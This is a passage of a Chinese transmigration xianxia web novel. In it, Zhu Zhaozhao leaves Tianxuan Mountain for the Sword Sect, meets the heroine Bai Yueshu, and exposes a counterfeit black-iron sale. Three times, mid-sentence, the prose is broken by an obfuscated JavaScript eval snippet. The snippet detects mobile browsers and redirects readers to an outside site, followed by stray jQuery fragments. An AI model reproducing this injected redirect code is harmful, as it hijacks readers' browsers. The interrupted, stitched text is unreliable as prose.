像是察觉到祝昭昭的闪躲,苏青鱼坏心眼地把头朝她靠得更近:“昭昭你马上都要下山了,二长老还有心情游湖吗?” 她轻叹口气:“昭昭你真是的,在你心里,二长老就是那么不关爱弟子的人吗?” 祝昭昭:…… 不如您去和每次找您都要把天玄山翻个底朝天的大师兄说去? 再次努力试图和脖颈旁的苏青鱼拉开距离却反而被贴得更紧,祝昭昭怀着一种又高兴又无奈的心情,选择彻底摆烂。 算了,反正是被大美女抱,左右她不亏。 死鱼眼地看着面前乱成一锅粥的守元殿,祝昭昭心情复杂。 将祝昭昭一副人人揉捏的架势看在眼里,苏青鱼嘴角弯起一丝弧度:“昭昭你去剑宗,真的是因为觉得身体太弱想锻体?” “对。”祝昭昭下意识寻声扭头,脸颊直接贴在了脖颈旁的苏青鱼脸上。 好滑。 祝昭昭瞳孔地震,心跳直接停了一拍,然后再憋不住,见鬼一样跳开:“对不起,二长老我……” “有什么好对不起的?”苏青鱼抬手轻抚在被祝昭昭贴过的地方,“你感觉不好吗?” 这就是蝉联修真界梦中情人榜榜首五年的顶级大美女的魅力吗?! 祝昭昭看着苏青鱼,你你我我半天也没说出个一二三来。倒是司星察觉到这边的动静,大声嚷嚷着让苏青鱼赶紧离她远点不要带坏孩子。 “身体弱不弱这事先放在一边” 把司星的话当耳旁风,苏青鱼憋着笑:“但昭昭你从小就懒散不爱动,怎么晕了七天醒过来人就转性了,还发愤图强要锻体。” “要知道剑宗那地方,里面的人有一个算一个,可都是非一般的修炼狂人。你就这么过去,真的没问题吗?” “没问题。”祝昭昭意志很坚决,“随便一个反噬就能那么严重,我今后如何担得起大祭司的职责?” “二长老要相信我。” “是么。” 望着对面的祝昭昭,苏青鱼似笑非笑:“可我怎么却觉得,你去剑宗另有目的呢?” 另有目的? 一身青衣的窈窕女子眼里闪动的笑意看起来狡猾而满含深意,祝昭昭脑子里瞬间拉响警报。 苏青鱼往常吊儿郎当的样子太深入人心,以至于总会让祝昭昭忘记,眼前这个美艳妩媚的二长老在预言与算卦这一分支里,能力仅次于大祭司闵月。 上周目如果不是她和闵月力挽狂澜,天玄山覆灭的速度只会更快。 只要她想,任何人的小心思都很难逃过她眼睛。 但祝昭昭其实不是很怕。 她纯粹是被苏青鱼突然变脸给吓的。 “二长老怎么能这么说。” 祝昭昭一脸正色:“昭昭从小在天玄山长大,自然一心为了天玄山。去剑宗锻体,也是为了今后如果有一天真的降下天听,昭昭不至于承受不住反噬,信息都未传达就身死。” “二长老要相信我。” 祝昭昭努力让自己看起来真的很严肃,很为宗门着想。 苏青鱼先是微笑。 紧接着,嘴角的弧度越来越高,她干脆直接轻笑出声。清脆娇媚的声音让一边已经开始计划裁袍子的司星又嚷嚷起来,让她立刻收声闭嘴。 祝昭昭被苏青鱼笑得发毛,刚想说点什么转移话题,下一秒苏青鱼已经出现在她身旁。 “昭昭。”苏青鱼靠近祝昭昭耳朵,“你真的是这么想的吗?” 对上苏青鱼的双眼,祝昭昭心里开始打鼓。 苏青鱼这话什么意思?难道她真的看出来什么东西了? 制止了惊慌之下准备用读心扫描的202,祝昭昭换上聊天的语气:“当然,昭昭是真心想在剑宗学习锻体。为什么二长老就是不相信昭昭。” “可是真要锻体,多得是比剑宗更好的选择不是么?”苏青鱼压低声音,“剑宗的锻体方式在几个大宗门里,并不是最适合你的。” 祝昭昭:“那依二长老您的意思,哪个宗门更适合昭昭的目的?” 想起当时闵月认真给出的答案,祝昭昭一脸麻木。 “对你来说,仙乐门就绰绰有余了。” 瞥见祝昭昭的表情不对,意识到什么的苏青鱼有些意外:“你不会以为我会说盾甲宗吧?” 祝昭昭沉默。 此刻的沉默等于默认。苏青鱼更惊讶了:“怎么可能,就你这小身板去了盾甲宗,还不立刻就要哭着回来。” 祝昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280487|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭一脸深沉地点头:“我也觉得。” 苏青鱼非常嫌弃:“得是多不着调的人才会提议让你去盾甲宗,这样的笨蛋昭昭你以后少接触。” 祝昭昭没有接话,沉默地望着不远处认真整理空间袋的阅月。 嗯,您说得没错。 嫌弃完笨蛋,苏青鱼搂着祝昭昭:“所以昭昭你这么坚定地想去剑宗,肯定是有什么秘密对不对。” 任由苏青鱼把自己搂在怀里,祝昭昭不动声色:“那二长老觉得,昭昭是为什么非要去剑宗不可?” 202启动了消除记忆的机器,这次,祝昭昭没有阻拦。 “昭昭你,”将祝昭昭搂得更紧,苏青鱼贴在她耳边,声音压得几乎成了气声:“其实是想偷学剑宗的心法和剑招对不对?” 祝昭昭:…… 已经准备按下执行键的202:…… 丝毫没有注意到已经完全懵逼的祝昭昭,苏青鱼一脸‘我早已看穿一切’的表情:“昭昭你早就对山里大家普遍低下的武力值不满,所以刚好借着这次机会潜入剑宗,打算将他们的功法剑招都偷学回来,好回来教给大家。” “我说得对不对?” 祝昭昭彻底被苏青鱼的想法震撼。 这就是预言打架两手抓的狠人的思维吗?! 惭愧,实在太惭愧。 一瞬间,祝昭昭竟然在为自己没有猜中苏青鱼的想法而感到无地自容。 所以她无比郑重地,用了同样的气声回答苏青鱼:“是的,二长老。昭昭就是为了偷学剑宗功法,才一定要去剑宗锻体。” 祝昭昭竖起大拇指:“您真是慧眼如炬。” “那是。”一脸得意地接受了祝昭昭的夸赞,苏青鱼四处打量一眼,拉着她走到角落。 她从空间手镯里取出一样东西:“昭昭,这个你拿着。” 祝昭昭接过苏青鱼递来的东西。 看着掌心里躺着的青铜制小巧法器,她皱眉:“这是……” “传讯法器。” 苏青鱼微微侧身,防止这边的情况被人注意到:“一旦在剑宗学会了什么高妙的功法,你就可以用这个联系我。” 苏青鱼很认真地看着祝昭昭:“我随时都在。” 有想法,有计划,有行动,得到机会就会坚决执行。 这是多么优秀的品质。 祝昭昭此时的心情已经不能用震撼来形容。 这一刻,她由衷觉得大长老的位置给司星坐其实相当浪费。 紧紧抓住手里的传讯法器,一种使命感在祝昭昭心底油然而生:“二长老放心,昭昭一定完成任务!” 重重拍了拍祝昭昭的肩,苏青鱼脸上写满信任与感动。 这当口殿中传来司星的声音:“昭昭,你去哪了?快点过来。” “就来。”祝昭昭答应完,小跑向殿中。 然后一把被司星扯过去:“昭昭你这孩子,都这么忙了还到处乱跑。快跟大长老看看还有什么要带的……” 祝昭昭被司星赶着走到一堆包裹前,跟着他一起翻看眼前的行李。 角落里有视线传来,祝昭昭回头去看。 正对上苏青鱼目光的瞬间,两人都朝着对方郑重点头,仿佛不被世人理解的智者间惺惺相惜。 5. 我绝不可能进不去剑宗 下山的日子特意选了个大晴天,祝昭昭特意去了守元殿,和闵月司星做最后的告别。 紧紧握着祝昭昭的手,司星照旧没说两句话就开始眼角泛泪花:“昭昭啊,下山以后没有大长老看着你了,你一个人在剑宗要好好吃饭好好睡觉,好好照顾自己。” “学成什么样没关系,千万不能委屈了自己啊。” 闵月没有司星那么会说,只是在司星身后一脸感动地点着头。 但司星显然对闵月的哑巴态度不满意:“阿月你也说句话啊,你是昭昭的师父都不说话,昭昭该多伤心啊。” 一脸麻木的祝昭昭:不,我不伤心。您随意。 闵月听完,当场一副‘你说得对,我怎么是一个这么不称职的师父’的表情。 但她本来就是不善言辞的性格,于是站在原地憋了半天,她最后摸着祝昭昭的脑袋吐出一句:“若是在剑宗待得不开心又不想回来,你可以……” 这话一出口,不只是祝昭昭,就连司星都短暂地收起了眼泪,两个人齐齐看着她。 要知道闵月从小在天玄山长大,山里众人又都很好相处,她从没有面对过复杂的恶意。 所以祝昭昭很好奇闵月会说什么。 在一种期待值被拉满的气氛里,闵月终于郑重开口—— “在他要倒大霉的时候不告诉他。” 祝昭昭:…… 司星:…… 行吧,至少没说出要以德报怨,用爱挽救坏人这种话来。 轻咳两声,司星选择转移话题:“好了月儿,相信昭昭已经知道你的意思了。” 闵月摸摸祝昭昭的脑袋。 看着眼前温存的师徒二人,司星又开始情绪泛滥:“昭昭,你就一直待在天玄山多好,为什么非要去剑宗不可。” “那帮子修剑的脾气怪,又动不动就爱打架,你去了多危险啊。” 司星说着,像是突然想到什么:“这么说的话,昭昭你一个人去那,他们不知底细地让你修炼,到时候练坏了怎么办。” “不行不行。” 他满脸慌张:“月儿,你现在写封信给剑宗,告诉他们昭昭到时候过去,让他们看着点,不要让昭昭修炼太狠受伤了。” 闵月显然很赞同司星的观点,叫来伺星使就准备写信。 祝昭昭都被这两个人说干就干的架势震惊了。 开玩笑,要是闵月通知剑宗天玄山的圣女要过去,那她在剑宗得是什么待遇,她在剑宗还怎么低调,还怎么接近慕行秋观察引导他。 要知道作为发布关于慕行秋的预言的本尊,疑似间接导致他处境艰难的推手,慕行秋这会儿对她估计可以说是恨之入骨。 要是她明晃晃地进了剑宗,能有什么好果子吃? 她又不是真去剑宗修炼的! 祝昭昭立刻制止两人的行为:“师父,大长老,你们等等!” 已经从伺星使手里接过信纸的两人停下动作。 “我是去锻体的,不是去游玩的。”祝昭昭力求把后果说严重点,“您们要是写信交代剑宗天玄山的圣女过去了,不就是在暗示人家要注意点,不能随便对我提要求吗?” 司星一脸‘这孩子在说什么’的表情:“什么暗示,我这是明示。” 祝昭昭:…… 好想暴打他一顿,真的。 好好说话不管用,祝昭昭决定发疯。 她深吸一口气:“我不管!你们都不许往剑宗送信,到时候我去了那里要是感觉到一点不对,就立刻收拾包袱跑路!” 瞄到司星隐约惊喜的表情,她平静补充:“去别的宗门,而且不告诉你们。” 司星瞬间像泄气的皮球。 闵月把信纸交给伺星使:“既然昭昭你如此坚持,那就算了。” 祝昭昭狠狠松了口气。 重新换上笑脸,祝昭昭一把抱住闵月的腰:“谢谢师父,我就知道师父对我最好了。” 余光扫到边上的司星眼巴巴的表情,祝昭昭想了下,觉得打个巴掌给颗糖也是很有必要的事。 于是松开闵月,她拉住司星的手:“昭昭知道大长老是因为担心我才这样,昭昭不会怪大长老。但是大长老以后也要听一下昭昭的话,不能随便替昭昭做决定。” 司星早就什么都抛在脑后了:“好好好,昭昭说什么都是对的,大长老以后一定听昭昭的话。” 祝昭昭朝他乖巧一笑。 “好了。”祝昭昭拍拍微皱的裙摆,“既然该交代的都交代好了,那昭昭就下山啦!” 司星含泪摆手:“路上小心啊。” 祝昭昭回了个放心的手势。 目送祝昭昭的身影消失在守元殿,司星一改抽噎的模样,直接叫伺星使拿来信纸。 闵月走到他身旁:“怎么了?” 灵力在信纸上飞快构成信息,司星吸吸鼻子:“昭昭害怕我们直接和剑宗表明她的圣女身份,会让她不能在剑宗好好学习锻体。” 闵月点头:“对。” 司星边写信边回:“那我们若是不直接点明她圣女身份,而是只表明她天玄山人的身份,让剑宗对她不要太苛刻就好呢?” 闵月很快明白他的意思:“虽只表明昭昭天玄山人的身份,但因写信的你是大长老,所以间接暗示了昭昭的身份不一般,他们便不会让昭昭过于劳累。” “对。”很快写完信,司星将之封口后交给伺星使,交代其送往剑宗。 闵月却拦住了伺星使:“可是昭昭刚才已经说过了,不希望我们过多插手。你也答应了她,不会干涉她的自由。” “阿月你日日待在摘星楼,是真不知道剑宗的情况么?”司星难得沉下脸色,“他们那,并不像表面那般太平。” 抿了抿唇,闵月没有说话,却放下了拦着伺星使的手。 “昭昭铁了心要去剑宗,一定有她的原因。”目送伺星使消失在视线中,司星轻轻揽过闵月肩膀,“我们虽不能拦她,但至少要保证她的安全。” “毕竟天玄山,是她最后的后盾。” * “主人,我有一个问题。” 四下无人的时候,202提出疑问:“你不让司星和闵月写信给剑宗,那你准备怎么混进去?” “根据剧情分析,他们招收弟子的时间好像不是现在。” “202,凡事总有例外。”祝昭昭伸出食指摇了摇,“招收弟子,本质上就是招收有天赋,灵力高的人。” “这副身体的天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280488|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赋和灵力水平有多高,你拿到剧情设定的时候难道没看见?” 祝昭昭抬起手掌,念起,掌心随之聚集起一团莹白色的灵力:“这副身体不论去到任何宗门,都会成为实力最顶尖的那批弟子。” “她是真正的天才。” 祝昭昭看着掌心跳跃的灵力:“如果不是剧情需要把她限制在了天玄山,且不给她修炼的条件,最后慕行秋能不能毁掉修真界,真的要打个问号。” 握紧掌心捏散灵力,祝昭昭无比自信:“所以与其担心我能不能进剑宗,还不如担心之后慕行秋会不会发现我的身份。” “毕竟我进不去剑宗这个可能,绝对不存在。” * “您说什么?剑宗的剑堂今天不开?” 祝昭昭简直不敢信自己听到了什么。 “是啊。”臂弯里提着一篮子菜的老婆婆笑得温和,“一般若是卯时不开门,今天便不会开门了,剑堂向来如此。” 看着大门紧闭的剑堂,祝昭昭试图做最后挣扎:“为什么会这样,难道剑宗今天有什么要事,所以他们抽不开身,会不会等等忙完了就过来了?” “什么要事啊。” 一直在隔壁听着这边谈话的男人终于忍不住插嘴:“今早那两个守堂弟子准备开门的时候不知道为什么突然吵起来,吵到最后直接拔剑打架去了!” 吵起来……打架……直接不开门…… 祝昭昭震撼到失语。 原来剑宗的人都这么狂野,一言不合就会直接拔剑打架,甚至可以为此把手头上的事丢一边。 难怪司星有事没事就往剑宗跑,原来是因为臭味相投。 祝昭昭:修真界好热闹,今天又学到好多。 * 不管怎么说,测试灵根进剑宗这事暂时宣告泡扬。站在剑堂门前沉思片刻,祝昭昭决定在山脚下逛逛。 作为剑宗的保护范围,山下这个小镇发展得很好。各式各样的店铺和随处可见琳琅满目的吃食和小玩意看得祝昭昭这个第一次下山的人目不暇接。 她在这里了解到很多关于剑宗的事情。 比如这里的当铺和炼器铺子之所以相邻,是因为剑宗弟子一般在当铺换了钱就会直奔炼器铺子保养他们的爱剑;又比如剑堂虽然可以筛选想拜入剑宗的人,但它最主要的目的,其实为了维持这个小镇的秩序。 诸如买卖纠纷、打架斗殴、欺诈隐瞒甚至是夫妻吵架一类的事,只要有人上门告状,剑堂的当班弟子都要去查看。 完全可以称得上是修真界的居委会。 话虽如此,但当祝昭昭从不知道谁的嘴里听见要让剑宗帮忙找疑似三师姐萧瑜的神棍的时候,嘴里的茶还是差点喷出来。 尤其他们还不是夸,而是说如果抓到那个神棍,必定要狠狠修理她一通这种话。 说话的人快把酷刑提个遍,祝昭昭听得感慨万千的同时得出以下结论:也许对算卦的来说,解卦水平怎么样不重要,说话的艺术才是最重要的。 祝昭昭默默在心里为萧瑜画十字。 喝完茶,祝昭昭结了账准备出去找今晚休息的客栈,然而她刚跨出店门,就被一阵嘈杂的声响吸引了注意。 “抓住她!别让她跑了!” 6. 女主角登场 作为一个穿梭过无数位面世界的,经验丰富的维护员,祝昭昭的第一反应就是避开。 开玩笑,那吼声,一听就不是善茬,谁搅进去谁是傻子。 祝昭昭立刻往茶楼里钻。 可她钻得快,被追着人跑得更快。还不等祝昭昭迈出脚步,一道已经跑出残影的白色身影当场和她撞个正着。 整个人都被撞得斜飞起来,祝昭昭内心狂飙无数粗鄙之语的同时沉痛地闭上眼,本来都做好了要负伤的准备。 然而下一秒,她整个人被带着一起跑起来。 四周景色瞬间飞后退,祝昭昭恍惚感觉自己正在体验地面飞行。 身旁一道略带歉意的女声传来:“刚才你被撞得太厉害,我怕你摔伤所以干脆带着你一起跑,对不起啊姑娘。” 没有回答,祝昭昭沉默着低头望向自己已经离地的双脚。 祝昭昭:在我的律师到来之前,我不会说一个字。谢谢。 少女的速度很快,没过多久,追在后面的叫骂声和脚步声便渐渐消失。 赶在祝昭昭喊停之前,少女停下脚步,又轻轻把她放下。 双脚踩在地面的瞬间,祝昭昭深吸了口气。 泥人尚且有三分火气,更何况是被无辜卷入战局的她。哪怕对方是个女孩子,祝昭昭也要教训她几句! 祝昭昭拧起眉头看向身旁少女:“我说你到底——” 一张清冷淡然的脸随着动作落入祝昭昭的视线。 这白皙肤色,这纤长凤眼,这嫣红唇色以及左眼和颧骨之间那颗最具标志性的小痣…… 如果没看错,这个少女,应该就是女主白月书。 意识到这点的瞬间,祝昭昭猛地变脸,剩下的话也随之咽回肚子里。 少女被她切换得过于迅速的表情吓到:“怎,怎么了?为什么这么看我。” 说完沉默了一下,少女再次和祝昭昭道歉:“刚刚虽然情况紧急,但带着你跑的确是我有失考虑,让姑娘你受惊了。” “对不起。” 少女低下头,准备迎接祝昭昭的斥责。 对面的祝昭昭却突然爽朗笑起来。 “什么对得起对不起的,相逢即是缘,我怎么会怪妹妹你呢。” 没想到祝昭昭竟然会这么回答,少女愣了一下,抬起头来。 然后被祝昭昭一把搂住肩膀。 “刚才那帮人声音那么大手里还带着刀,一看就不是什么好人,妹妹你肯定也被他们吓得不轻。” 祝昭昭拍拍白月书的肩:“在那样危急的情况下,妹妹你还因为担心我带我一起跑,这是多么难能可贵的优秀品德。” “我怎么会怪一个善良的女孩呢?” 低头看着努力搭在自己肩上的纤细手臂,白月书眨眨眼:“妹妹?该是我叫你妹妹才对吧?” 祝昭昭表现得很大度:“没事,你叫我娘都行。” 白月书:……? 轻轻拿下祝昭昭的手,又认真地帮她整理好头发和裙子,白月书朝她抱拳行礼:“剑宗白月书。” 祝昭昭还了一礼:“祝昭昭。” “昭昭姑娘。”白月书看着她,“虽然事出有因,但刚才的事确实是月书不对在先。如今歹人已暂时被我甩开,我便先送你回去吧。” 回去? 回哪里去? 她祝昭昭的目的本来就是混进剑宗待在主要角色们身边,这会儿女主角自己送上门了,她还费劲巴拉回去住什么客栈? 抱紧女主角大腿走上人生巅峰,那才是正道! 大脑飞速运转,祝昭昭准备找理由留在白月书身边。也就在这时,两人身后再次传来嘈杂的脚步声。 粗犷的男声听起来非常生气:“那娘们儿一定就在这里。搜!” 两人对视一眼,白月书提起祝昭昭就跑。 低头看着再次瞬间离地的双脚,这一次,祝昭昭的心态发生了翻天覆地的转变。 她心里有我,真好。 一边享受被女主角带飞的感觉,祝昭昭一边和她攀谈:“月书姐姐,你为什么被那些恶霸追着跑?他们应该都不是你对手才是。” “这自然是有原因的。”哪怕身后有人追,还带着祝昭昭这个拖油瓶,白月书气息却很稳,回答里甚至听不到喘气声,“是我有错在先。” “你有错在先?”祝昭昭眼睛一亮。 在女主角面前刷好感的机会,这不就来了么。 快速观察了一下周围环境,祝昭昭指着一个方向:“月书姐姐,往这里走。” 顺着祝昭昭手指的方向望过去,白月书有些犹豫:“昭昭姑娘,那边是一片草地,没有东西遮挡。” 祝昭昭却很笃定:“月书姐姐,信我的没错。” 身后的叫骂声越来越近,白月书心一横,带着祝昭昭直奔那块草地。 刚踏进草地,祝昭昭立刻指了另一个方向:“月书姐姐,这里。” 白月书于是立刻前往那处。 继而注意到一个小山洞。 带着祝昭昭靠近山洞,白月书很快在洞口处发现一个小结界。 竟然是隐蔽气息的结界。 白月书惊讶地看着身旁的祝昭昭。 彼时的祝昭昭正认真整理头发衣服,察觉到白月书的视线,她很贴心地问:“月书姐姐,你是不是累了,要不要吃点东西喝点水?” 白月书摇摇头:“先进去吧。” 祝昭昭于是乖乖跟着白月书走进山洞。 与从外面看时的平平无奇不同,山洞内部有着燃剩的火堆和一块铺得整齐的破布,看起来应该有修士短暂在此修整过。祝昭昭动作比较快,抖掉破布上的碎石和灰尘就坐了下去。 她笑眯眯地拍拍隔壁位置:“月书姐姐,坐。” 打算阻拦的手势还没放下,白月书应了声好,坐在祝昭昭身旁。 从空间袋里取出一包点心,祝昭昭先拿起一块吃了一口:“月书姐姐,那群坏人到底为什么对你穷追不舍的?” 白月书捻起一块点心:“这事说来话长。” 她长话短说,大概和祝昭昭描述了一下自己的遭遇。 “你是说,”祝昭昭开始复盘,“你在一个法器店铺里选了一块材料,想用作给同门的生辰贺礼。本来价格已经谈好了,你也按照约定时间筹够钱送了过去,老板却突然涨价。你不想给,抢了材料就跑,所以他们追杀你。” 白月书情绪很低落:“对。” “那是什么样的材料啊?”祝昭昭两手托腮,毫不掩饰自己的好奇,“而且看姐姐你身上衣服,应该是剑宗内门弟子对不对。” “连你都一下子拿不出来的钱,到底是多少?” “六百高级灵石。”白月书看起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280489|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的很惆怅,“当时我和我师兄所有的钱凑在一起也不过五百高级灵石。所以我请老板宽限两天,回去凑了一百高级灵石。” 六百高级灵石。 祝昭昭侧目。 要知道一块高级灵石就足够换一百块中级灵石,而一块中级灵石则可以换一百块低级灵石。一块低级灵石,就已经足够普通人一年的开销。 得是什么样的材料才能开出六百高级灵石的价格? 祝昭昭更好奇了:“什么样的材料能叫到六百高级灵石的价格?” 白月书垂眸:“是一块玄铁。” 祝昭昭震惊。 要知道玄铁和普通的铁不同,是天然带着灵力的铁。且因为数量稀少,大多都藏身于秘境或极寒之地,很难在市面上看到。用玄铁打造出来的剑,不仅比普通的剑锋锐许多,也更有灵气,更容易养出灵智。 这样极其稀有的材料能在市面出现,已经是天方夜谭,又被白月书碰到,更是不可想象。 这就是主角气运吗? 祝昭昭不明觉厉。 她试探着问:“那块玄铁,有多大?” 白月书比划了两个手掌合起来的尺寸。 祝昭昭倒抽一口凉气。 再添一点铁都够打出来两把剑了。 难怪白月书对这块玄铁那么执着。 祝昭昭看向白月书的目光嫉妒又羡慕:“那块玄铁,可以给我看看吗?” 能让女主角宁愿筹钱,老板涨价甚至拼着被追杀都不舍得放手的玄铁,得是什么极品玄铁。 她迫不及待想看看。 但白月书其实有点犹豫。 毕竟说到底,她和眼前的小姑娘只是萍水相逢,贸然把那么珍贵的东西拿出来,小姑娘识不识货是一回事,她更担心那带着煞气的玄铁伤到小姑娘。 思忖着,白月书下定决心准备拒绝祝昭昭。可她刚抬起头,就看见祝昭昭正眨巴着眼睛望着自己,一脸期待的模样让她怎么都说不出那些已经准备好的话。 她沉默且迅速地摸出了空间袋。 目睹白月书挣扎全过程的祝昭昭:计划通。 随着一道白光闪过,白月书手上多了一块东西。祝昭昭好奇心被点满,伸长了脖子想看清那块来头不小的玄铁到底长什么样。 毕竟能让女主角不惜从老板手上强抢也要得到的炼器材料,绝对不可能是什么等闲之物! 心脏随着白月书拿着玄铁朝自己走过来而跳得越来越快,如果不是怕吓到白月书,祝昭昭恨不得现在就扑到她身边好好观摩一番。 一切仿佛被按了慢放键,好容易等到白月书拿着东西靠近自己,祝昭昭迫不及待地凑到她身旁。 实实在在的两个手掌大小,浅灰色的温润表面随着白月书的动作泛起细腻的光芒,确实是块不可多得的好玄铁。 再次震惊于主角的手气之余,祝昭昭扬起笑脸刚想夸白月书几句。 然而下一秒,她突然在玄铁上瞥见了什么。 仔细观察了一下,祝昭昭瞳孔地震。 白月书没看懂这表情,但也意识到一定是哪里有问题。 于是她有点慌:“昭昭姑娘,怎么了。” 脸上表情变得很复杂,看着白月书掌心的玄铁,祝昭昭努力斟酌用词。 然后深呼吸—— “这块玄铁,是假的。” 7. 这难道不是高阶玄铁吗? 整个人怔在原地,白月书脸上的笑容缓缓消失。 “你在说什么啊?!” 全程围观了白月书的表情变化,202大惊失色:“你怎么能这么直接,你看看女主角的脸色都成什么样了?!” “我也不知道啊!” 祝昭昭同样很慌:“谁能想到她会花六百高级灵石买回来这么个玩意啊,这是纯纯的科技假货啊!” “你看角落这色,甚至还没涂匀!” 这句是直接说出来的。 不仅是直接说出来的,而且因为祝昭昭本来是想吼202的,所以声音还相当大,大到整个山洞都是祝昭昭的回音。 不断重复的‘甚至还没涂匀’声里,祝昭昭已经不敢去看白月书的表情。 陷入死寂的空气里,最后是白月书先开的口。 “竟然是假的么。” 平静的语气里带着压制不住的颤抖,白月书把强忍的悲伤表达得淋漓尽致。 惨得祝昭昭都不忍心再听下去。 但有一说一,祝昭昭能理解白月书为什么被骗。 首先得说,玄铁这玩意,颜色不均匀其实是极其少见问题。 可架不住铺子老板叫价高啊! 商品价格奇高,很容易给人一种‘假货不敢叫价那么高’的错觉。能搞出这套的老板,又肯定是人堆里滚了又滚的老油条,态度再牛哄哄一点,骗骗心里只有修炼,社会经验垫底的傻白甜修士们根本就是洒洒水。 可被骗的竟然是女主角,是这个世界的气运之子。 祝昭昭就非常不理解:“月书姐姐你拿到这块东西的时候,没有感觉哪里不对吗?” “我当时确实查看过。”白月书情绪非常低落,“因为的确是玄铁无疑,加上后面与老板争执,导致我未能再细细查看。” “所以……” 原来是光顾着跑路了。 想象出的画面太炸裂,祝昭昭尴尬得脚趾扣地。 她选择转移话题:“可是再怎么说,以次充好这种行径最后都一定会被发现的。老板就不怕月书姐你到时候回去找他对峙吗?” 白月书看着手里的玄铁:“他说有问题只管找他,他会负责到底,让每一个客人满意离开。” 所以是能骗一个是一个,骗不了或者碰到难缠的客人再说吗。 祝昭昭叹为观止。 “但不论如何,既然已经知道这玄铁是次品,我们就不能白受这份气。” 祝昭昭拍拍白月书,满脸豪气:“我们现在就回去店里,找老板说清楚,要他把钱吐出来再和你道歉!” “嗯!” 白月书也被祝昭昭鼓舞,重新打起精神:“还要叫他把之衡放回来!” 祝昭昭点头:“对!把之衡……” 等等 之衡? 不会是男主角秦之衡吧? 祝昭昭脸上笑容凝固。 她小心求证:“月书姐姐,你刚才说的那个之衡是谁?” “是我的二师兄。”白月书脸上多了愁色,“他让我回宗门筹钱,自己留在店里作保。” 祝昭昭佩服。 白月书无比担忧:“我离开时隐约听到老板说要赶他去守魔界挖矿,也不知现在情况怎么样了。” 守魔界。 全书设定里环境最最恶劣的地方,修真界对魔界的最后一道防线。 去那里挖矿…… 祝昭昭沉默。 行吧,不愧是全书最伟光正的男主。 这怎么不算一种难能可贵的优秀品德呢? * 白月书带着祝昭昭去了采买玄铁的店铺。 本来还在对着伙计发火的老板一见白月书上门,顿时火气冲天:“好你个狡猾修士,竟然还敢回来!” 老板立刻招呼一帮打手准备围上来。 但与他想象的,白月书乖乖束手就擒不同。白月书将祝昭昭护在身后,并拢两指在面前划出一道弧线,爆发而出的剑气瞬间将所有打手震飞。 老板气得跳脚:“你抢了我的东西逃跑,现在还敢打我的人?!” “我要告到剑宗去!” 白月书面色变得更冷。 “你要告到剑宗去?” 握住白月书的手示意她稍安勿躁,祝昭昭从她身后走出:“老板,你这店,是不想继续在这开了是么?” 闻言面色一顿,老板很快察觉到不对:“你什么意思。” “我什么意思?”似笑非笑地重复老板的话,祝昭昭拿出那块玄铁,“这是你的那块玄铁吗?” 老板很激动:“对,她和她的同门便是抢走了它!” ‘她’说的是白月书。祝昭昭听完,微微一笑:“老板,这个抢字说得不太对吧。” “你说好价钱在先,我朋友筹钱在后。可待她筹够钱要将这块铁买下时,你却再次加价。他们不愿意做这欺负人的买卖,便是抢么?” “况且我朋友本是计划之后再把剩下的钱补上,甚至为此让另一位友人留在了你店里。这也算是强抢么?” 被祝昭昭的连环质问问得哑口无言。老板先是一梗,很快又嚷嚷起来:“那又如何?!她同那个男子未付清钱便抢走我的高阶玄铁是事实!其他的说再多都是狡辩!” 老板重重冷哼一声:“且你们如今回来,是已经筹够剩下的一百块高级灵石了?” “开始放走你们,是因为事发突然。”老板阴狠地盯着白月书和祝昭昭,“这次,不把剩下的钱付清,你们就和刚才那个男子一起去守魔界挖矿吧!” 老板说完,柜台里的小二启动禁制,整个店铺都被高阶结界封住。 白月书见状猛地沉下脸色,反手就掐起剑诀。 老板也迅速聚集起打手。 针尖对麦芒的气氛一触即发,却就在这时,一道鼓掌声响起。 丝毫不见被包围的紧迫感,祝昭昭笑得眉眼弯弯:“老板,看来你这高阶玄铁,真是非常珍贵。” 老板皱紧眉毛,非常不耐烦:“是个人都知道高阶玄铁的珍贵,还用你说。” “原来如此。”祝昭昭笑得更甜,“那你能告诉我,你这高阶玄铁,为什么会是这个样子么?” 祝昭昭抬手,将玄铁涂抹不匀的地方展露出来。 空气瞬间安静下来。 仿佛没有注意到气氛的陡然变化,祝昭昭依旧笑着,从空间袋里取出闵月塞给自己的高阶玄铁:“老板你经验丰富,能不能帮我看看,这两块玄铁有没有哪里不一样?” 没想到祝昭昭竟然随便就拿出一块真正的高级玄铁,不止是老板,就连白月书都无比意外。 但该说不说,老板作为经验丰富的老油子,很快反应过来:“那块玄铁在你们手上那么久,我怎么知道你们是不是故意找了假的来,想把我的真玄铁骗走?” 